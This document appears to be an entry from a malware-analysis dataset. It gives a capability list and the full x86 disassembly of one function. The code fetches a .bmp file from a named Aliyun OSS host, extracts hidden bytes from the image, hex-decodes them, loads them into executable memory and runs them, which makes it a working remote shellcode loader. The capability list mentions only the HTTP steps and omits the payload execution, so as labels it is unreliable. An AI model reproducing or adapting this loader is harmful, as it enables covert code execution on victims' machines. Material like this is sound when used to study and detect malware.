Function at 0x4021c0
Capabilities:
Initialize winhttp library
Prepare http request
Read http header
Receive http response

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1fe8
call fcn.00404060
mov eax, dword [0x423024]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
push 0x1800
lea eax, [ebp - 0x1f94]
push 0
push eax
call fcn.00404a80
lea eax, [ebp - 0xb94]
mov dword [ebp - 0x1fc8], 0
mov dword [ebp - 0x1fa0], eax
add esp, 0xc
lea eax, [ebp - 0x1b94]
mov dword [ebp - 0x1fbc], 0
mov dword [ebp - 0x1fc4], eax
lea eax, [ebp - 0x1394]
mov dword [ebp - 0x1fb0], eax
lea eax, [ebp - 0x1f94]
mov dword [ebp - 0x1fd0], eax
lea eax, [ebp - 0xf94]
mov dword [ebp - 0x1fa8], eax
lea eax, [ebp - 0x1794]
mov dword [ebp - 0x1fb8], eax
lea eax, [ebp - 0x1fd4]
push eax
push SysReAllocString
push 0
push str.https:__quanqufun.oss_cn_hangzhou.aliyuncs.com:80_847124536916.bmp
mov dword [ebp - 0x1fd4], 0x3c
mov dword [ebp - 0x1fb4], 0x200
mov dword [ebp - 0x1fa4], 0x200
mov dword [ebp - 0x1fcc], 0x200
mov dword [ebp - 0x1fac], 0x200
mov dword [ebp - 0x1fc0], 0x200
mov dword [ebp - 0x1f9c], 0x200
call dword [sym.imp.WINHTTP.dll_WinHttpCrackUrl]
push 0
push 0
push 0
push 1
push 0
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
push 0
push dword [ebp - 0x1fbc]
mov dword [ebp - 0x1fe4], eax
push dword [ebp - 0x1fc4]
mov dword [ebp - 0x788], 4
push eax
mov dword [ebp - 0x784], 0
call dword [sym.imp.WINHTTP.dll_WinHttpConnect]
push 0x100
push 0
push 0
push str.HTTP_1.1
push dword [ebp - 0x1fa8]
mov dword [ebp - 0x1fdc], eax
push str.HEAD
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov ebx, dword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
mov esi, eax
push 0
push 0
push 0
push 0
push 0
push 0
push esi
call ebx
mov edi, dword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
push 0
push esi
call edi
lea eax, [ebp - 0x784]
push eax
lea eax, [ebp - 0x788]
push eax
lea eax, [ebp - 0x1f98]
push eax
push 0
push 0x20000005
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpQueryHeaders]
push esi
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
push 0x100
push 0
push 0
push str.HTTP_1.1
push dword [ebp - 0x1fa8]
push 0x4210a0
push dword [ebp - 0x1fdc]
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
push 0
push 0
push 0
push 0
push 0
mov esi, eax
push 0
push esi
mov dword [ebp - 0x1fd8], esi
call ebx
push 0
push esi
call edi
push dword [ebp - 0x1f98]
call fcn.00403607
add esp, 4
mov ebx, eax
mov dword [ebp - 0x1fe0], ebx
push dword [ebp - 0x1f98]
push 0
push ebx
call fcn.00404a80
mov esi, dword [sym.imp.WINHTTP.dll_WinHttpReadData]
add esp, 0xc
mov edi, dword [ebp - 0x1fd8]
lea eax, [ebp - 0x780]
push eax
push dword [ebp - 0x1f98]
push ebx
push edi
call esi
push dword [ebp - 0x780]
push dword [ebp - 0x1f98]
push str.count:_d_size:_d_n
call fcn.00401080
add esp, 0xc
cmp dword [ebp - 0x780], 0
je 0x4023d0
mov esi, dword [ebx + 0xa]
lea eax, [ebp - 0x77c]
push 0x76c
push 0
add esi, 3
push eax
add esi, ebx
call fcn.00404a80
add esp, 0xc
xor ecx, ecx
mov al, byte [esi]
test al, al
je 0x40248a
cmp al, 0xff
je 0x40248a
mov byte [ebp + ecx - 0x77c], al
mov al, byte [esi + 4]
test al, al
je 0x40248a
cmp al, 0xff
je 0x40248a
mov byte [ebp + ecx - 0x77b], al
mov al, byte [esi + 8]
test al, al
je 0x40248a
cmp al, 0xff
je 0x40248a
mov byte [ebp + ecx - 0x77a], al
mov al, byte [esi + 0xc]
test al, al
je 0x40248a
cmp al, 0xff
je 0x40248a
mov byte [ebp + ecx - 0x779], al
mov al, byte [esi + 0x10]
test al, al
je 0x40248a
cmp al, 0xff
je 0x40248a
mov byte [ebp + ecx - 0x778], al
add esi, 0x14
add ecx, 5
cmp ecx, 0x76c
jl 0x402423
lea edi, [ebp - 0x77c]
lea ecx, [edi + 1]
mov al, byte [edi]
inc edi
test al, al
jne 0x402493
sub edi, ecx
mov esi, 0
shr edi, 1
je 0x4024e0
lea ebx, [ebp - 0x77c]
nop dword [eax + eax]
lea eax, [ebp - 0x78c]
push eax
push 0x4210a8
push ebx
call fcn.004010b0
mov al, byte [ebp - 0x78c]
add esp, 0xc
mov byte [ebp + esi - 0x77c], al
add ebx, 2
inc esi
cmp esi, edi
jb 0x4024b0
mov ebx, dword [ebp - 0x1fe0]
push 4
push 0x1000
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
lea eax, [ebp - 0x77c]
push edi
push eax
push esi
call fcn.00404be0
add esp, 0xc
lea eax, [ebp - 0x790]
push eax
push 0x10
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call esi
push 1
push ebx
call fcn.004035f9
mov esi, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
add esp, 8
push dword [ebp - 0x1fd8]
call esi
push dword [ebp - 0x1fdc]
call esi
push dword [ebp - 0x1fe4]
call esi
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040317d
mov esp, ebp
pop ebp
ret